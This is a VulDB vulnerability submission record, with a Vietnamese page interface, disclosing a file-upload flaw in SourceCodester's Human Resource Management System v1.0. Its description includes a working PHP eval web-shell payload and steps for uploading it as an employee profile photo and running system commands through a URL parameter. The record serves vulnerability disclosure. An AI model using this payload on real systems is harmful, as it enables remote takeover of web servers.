Gửi #48118: Human Resource Management System v1.0 - Remote Code Execution via File Upload Vulnerbility thông tin

tiêu đềHuman Resource Management System v1.0 - Remote Code Execution via File Upload Vulnerbility
Mô tả# Exploit Title: Human Resource Management System v1.0 - Remote Code Execution via File Upload Vulnerbility # Exploit Author: Pratik Shetty # Vendor Name: oretnom23 # Vendor Homepage: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html # Software Link: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html # Version: v1.0 # Tested on: Windows 10, Apache # CVE: ytd Description: In Human Resource Management System version 1.0 there is a File upload vulnerability which leads to Remote Code Execution. In that any attacker can execute malicious command and get the system access completely. Payload: <?php eval ("echo ".$_REQUEST["parameter"].";"); ?> Steps: 1) Login into the admin account 2) Now go to add employee 3) Now in that fill the details 4) Now upload "profile photo" in that upload a malicious PHP file. Payload: <?php eval ("echo ".$_REQUEST["parameter"].";"); ?> 5) Now save the data of this new employee 6) Go to his Profile and open the profile photo in next tab 7) Now in the above URL type this ?parameter=value;system('ls -l'); 8) As you can see our command injection is been executed
Người dùng
 draco (UID 24011)
Đệ trình13/10/2022 15:09 (cách đây 4 những năm)
Kiểm duyệt13/10/2022 16:53 (2 hours later)
Trạng tháiđược chấp nhận
Mục VulDB210772 [SourceCodester Human Resource Management System 1.0 Profile Photo parameter nâng cao đặc quyền]
điểm17

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!